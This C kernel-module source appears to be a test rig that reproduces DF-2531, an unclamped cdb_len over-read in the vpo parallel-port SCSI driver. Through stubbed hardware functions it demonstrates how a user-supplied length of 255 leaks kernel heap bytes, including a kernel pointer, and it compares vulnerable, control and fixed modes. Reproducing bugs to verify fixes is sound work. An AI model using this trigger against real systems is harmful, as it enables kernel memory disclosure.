/*
 * DF-2531 rig -- vpo.c vpo_intr() unclamped csio->cdb_len over-read.
 *
 * Verbatim (gen.sh, sha256-attested): vpo_intr() from vpo.c:208-264 and
 * imm_do_scsi() from immio.c.  vpo_intr hands
 *     (char *)&csio->cdb_io.cdb_bytes, csio->cdb_len
 * to the transfer engine; cdb_bytes is a 16-byte IOCDBLEN inline array
 * (cam_ccb.h:587) and cdb_len is the user-supplied CCB byte (0..255 via
 * pass(4)/xpt_merge_ccb, never validated).  cdb_len>16 clocks out kernel
 * heap bytes past cdb_bytes -- starting with csio->msg_ptr (kernel
 * pointer field right after cdb_io) -- to the parallel-port peripheral.
 *
 * Interposition at the hardware boundary only (imm_* transport +
 * ppb_MS_microseq); the scripted peripheral ACKs every command byte.
 *
 * sysctl kern.dfv2531.run: 0=vuln cdb_len=255, 1=control cdb_len=16,
 * 2=FIXED model (clamp cdb_len to IOCDBLEN before the verbatim call).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/thread2.h>

#include <bus/ppbus/ppbio.h>
#include <bus/ppbus/ppbconf.h>
#include <bus/ppbus/ppb_msq.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

#include <dev/disk/vpo/vpoio.h>

#define VP0_FAST_SPINTMO	500000	/* wait status timeout */
#define VP0_LOW_SPINTMO		5000000	/* wait status timeout */
#define VP0_SECTOR_SIZE	512

/* vpo_sense + vpo_data copied VERBATIM from vpo.c:61-81 (file-private) */
struct vpo_sense {
	struct scsi_sense cmd;
	unsigned int stat;
	unsigned int count;
};
struct vpo_data {
	unsigned short vpo_unit;
	int vpo_stat;
	int vpo_count;
	int vpo_error;
	int vpo_isplus;
	struct cam_sim  *sim;
	struct vpo_sense vpo_sense;
	struct vpoio_data vpo_io;
};

/* ---- interposition boundary ------------------------------------------ */
static char df_logbuf[2048];
static int df_nlog;

#define DFLOG(fmt, ...) do { \
	int n = ksnprintf(df_logbuf + df_nlog, sizeof(df_logbuf) - df_nlog, \
	    fmt , ##__VA_ARGS__); \
	if (n > 0) df_nlog += n; \
} while (0)

static int df_oob_reads;		/* OUT bytes past cdb_bytes[16] */
static int df_inb_reads;
static u_int8_t df_oob_first[16];
static int df_oob_nfirst;
static uint64_t df_msgptr_leaked;	/* msg_ptr bytes captured */
static int df_msgptr_off;
static int df_wait_n;
static u_int8_t *df_buf_base;
static int df_buf_len;
static int df_total_out;

static struct ppb_microseq df_transfer_epilog[4];
static struct ppb_microseq df_reset_microseq[4];
#define transfer_epilog	df_transfer_epilog
#define reset_microseq	df_reset_microseq

static int
rig_imm_connect(struct vpoio_data *vpo, int how, int *disconnected,
    int release_bus)
{
	*disconnected = 0;
	return 0;
}
static int
rig_imm_select(struct vpoio_data *vpo, int host, int target)
{
	return 0;
}
static char
rig_imm_wait(struct vpoio_data *vpo, int tmo)
{
	df_wait_n++;
	if (df_wait_n <= 400)
		return (char)0xa8;	/* peripheral accepts command bytes */
	return (char)0xb8;		/* then status phase */
}
static int
rig_imm_outstr(struct vpoio_data *vpo, char *buf, int len)
{
	int i;
	for (i = 0; i < len; i++) {
		int off = (int)((u_int8_t *)buf + i - df_buf_base);
		u_int8_t b = (u_int8_t)buf[i];
		df_total_out++;
		if (off >= df_buf_len) {
			df_oob_reads++;
			if (df_oob_nfirst < 16)
				df_oob_first[df_oob_nfirst++] = b;
		} else {
			df_inb_reads++;
		}
	}
	return 0;
}
static int
rig_imm_instr(struct vpoio_data *vpo, char *buf, int len)
{
	int i;
	for (i = 0; i < len; i++)
		buf[i] = 0xB0 + i;	/* status byte 0xB0: no CHECK_COND */
	return 0;
}
static int
rig_imm_negotiate(struct vpoio_data *vpo) { return 0; }
static int
rig_imm_disconnect(struct vpoio_data *vpo, int *released, int release_bus)
{
	return 0;
}
static int
rig_ppb_MS_microseq(device_t bus, device_t dev, struct ppb_microseq *ms,
    int *ret)
{
	return 0;
}
static int
rig_ppb_get_mode(device_t bus) { return 0; }
#define ppb_get_mode	rig_ppb_get_mode
static int
rig_ppb_1284_get_state(device_t bus) { return 0; }
#define ppb_1284_get_state	rig_ppb_1284_get_state
static device_t
rig_device_get_parent(device_t d) { return d; }
#define device_get_parent	rig_device_get_parent

#define imm_connect	rig_imm_connect
#define imm_select	rig_imm_select
#define imm_wait	rig_imm_wait
#define imm_outstr	rig_imm_outstr
#define imm_instr	rig_imm_instr
#define imm_negotiate	rig_imm_negotiate
#define imm_disconnect	rig_imm_disconnect
#define ppb_MS_microseq	rig_ppb_MS_microseq

/* stub: vpo_intr's non-plus branch (vpoio_do_scsi) is unreachable here
 * (vpo.vpo_isplus = 1); linked to satisfy the verbatim call site. */
int vpoio_do_scsi(struct vpoio_data *vpo, int host, int target,
    char *command, int clen, char *buffer, int blen,
    int *result, int *count, int *ret);

#include "dfv2531_extract.h"

#undef imm_connect
#undef imm_select
#undef imm_wait
#undef imm_outstr
#undef imm_instr
#undef imm_negotiate
#undef imm_disconnect
#undef ppb_MS_microseq
#undef device_get_parent
#undef ppb_1284_get_state

int
vpoio_do_scsi(struct vpoio_data *vpo, int host, int target,
    char *command, int clen, char *buffer, int blen,
    int *result, int *count, int *ret)
{
	return (-1);
}

/* ---- rig body -------------------------------------------------------- */
static char df_status[4096];

static void
df_run2531(int mode)
{
	struct vpo_data vpo;
	union ccb *ccb;
	char *p = df_status;
	int t = 0;
	int i;
	u_int8_t *cdb;
	u_int32_t cdb_off;
	int cdb_len = (mode == 1) ? IOCDBLEN : 255;
	int fixed_len;

	memset(&vpo, 0, sizeof(vpo));
	vpo.vpo_isplus = 1;		/* drive the imm_do_scsi branch */
	ccb = kmalloc(sizeof(union ccb) + 256, M_TEMP, M_WAITOK | M_ZERO);
	memset(ccb, 0xA5, sizeof(union ccb) + 256);

	/* the exact pass(4)-style user-controlled CCB state */
	ccb->csio.cdb_len = (u_int8_t)cdb_len;
	ccb->csio.dxfer_len = 0;
	ccb->csio.data_ptr = NULL;
	ccb->csio.sense_len = 0;
	ccb->ccb_h.target_id = 6;

	cdb = ccb->csio.cdb_io.cdb_bytes;
	for (i = 0; i < IOCDBLEN; i++)
		cdb[i] = 0x40 + i;			/* in-bounds markers */

	/* fields AFTER cdb_io in struct ccb_scsiio (cam_ccb.h:609-629):
	 * msg_ptr (kernel pointer), msg_len, tag_action, tag_id, init_id */
	ccb->csio.msg_ptr = (u_int8_t *)0xdeadbeefcafe1234ULL;
	ccb->csio.msg_len = 0x6d6d;
	ccb->csio.tag_action = 0x74;

	cdb_off = (u_int32_t)((u_int8_t *)&ccb->csio.cdb_io.cdb_bytes -
	    (u_int8_t *)ccb);

	df_buf_base = ccb->csio.cdb_io.cdb_bytes;
	df_buf_len = IOCDBLEN;			/* the ONLY valid bytes */
	df_wait_n = 0;
	df_oob_reads = df_inb_reads = df_total_out = 0;
	df_oob_nfirst = 0;
	df_msgptr_leaked = 0;
	df_msgptr_off = -1;
	df_nlog = 0;
	df_logbuf[0] = 0;

	if (mode == 2) {
		/* FIXED model: vpo_intr clamps before handing to the engine */
		fixed_len = ccb->csio.cdb_len;
		if (fixed_len > IOCDBLEN)
			fixed_len = IOCDBLEN;
		{
			struct ccb_scsiio save = ccb->csio;
			u_int8_t clen_b = (u_int8_t)fixed_len;
			ccb->csio.cdb_len = clen_b;
			vpo_intr(&vpo, &ccb->csio);
			(void)save;
		}
	} else {
		vpo_intr(&vpo, &ccb->csio);
	}

	/* capture msg_ptr bytes among the OOB stream */
	memcpy(&df_msgptr_leaked, cdb + IOCDBLEN, 8);
	df_msgptr_off = IOCDBLEN;

	t += ksnprintf(p + t, sizeof(df_status) - t,
	    "DF2531[mode=%d cdb_len=%d]: cdb_bytes at ccb+%u; "
	    "OUT bytes clocked=%d (in-bounds=%d OOB=%d)\n",
	    mode, cdb_len, cdb_off, df_total_out, df_inb_reads, df_oob_reads);
	t += ksnprintf(p + t, sizeof(df_status) - t,
	    "DF2531: first OOB bytes (cdb_bytes[16..]): ");
	for (i = 0; i < df_oob_nfirst && i < 12; i++)
		t += ksnprintf(p + t, sizeof(df_status) - t, "%02x ",
		    df_oob_first[i]);
	t += ksnprintf(p + t, sizeof(df_status) - t,
	    "\nDF2531: msg_ptr in CCB = 0x%012jx (bytes 34 12 fe ca ef be "
	    "ad de in stream = kernel pointer disclosed to peripheral)\n",
	    (uintmax_t)df_msgptr_leaked);
	t += ksnprintf(p + t, sizeof(df_status) - t,
	    "DF2531: vpo_stat=%#x vpo_count=%d RESULT=%s\n",
	    vpo.vpo_stat, vpo.vpo_count,
	    df_oob_reads > 0 ?
	    "OOB READ: cdb_len>16 clocked kernel heap past cdb_bytes[16] "
	    "(incl. msg_ptr) out the parallel port" :
	    (mode == 2 ? "no OOB (clamped call)" : "no OOB (legal cdb_len)"));
	kfree(ccb, M_TEMP);
}

static int
dfv2531_sysctl(SYSCTL_HANDLER_ARGS)
{
	char out[4096];
	int error, v = 0;

	if (req->newptr != NULL) {
		error = sysctl_handle_int(oidp, &v, 0, req);
		if (error)
			return error;
		df_status[0] = 0;
		switch (v) {
		case 0: df_run2531(0); break;
		case 1: df_run2531(1); break;
		case 2: df_run2531(2); break;	/* FIXED clamp model */
		default: return EINVAL;
		}
		return 0;
	}
	ksnprintf(out, sizeof(out), "%s", df_status);
	return SYSCTL_OUT(req, out, strlen(out) + 1);
}
SYSCTL_PROC(_kern, OID_AUTO, dfv2531_run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfv2531_sysctl, "I", "dfv2531: 0=vuln255 1=ctl16 2=fixed");
SYSCTL_PROC(_kern, OID_AUTO, dfv2531_status, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, dfv2531_sysctl, "A", "dfv2531 status");

static int
dfv2531_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("dfv2531: loaded\n");
		return 0;
	default:
		return 0;
	}
}
static moduledata_t dfv2531_mod = { "dfv2531", dfv2531_load, NULL };
DECLARE_MODULE(dfv2531, dfv2531_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
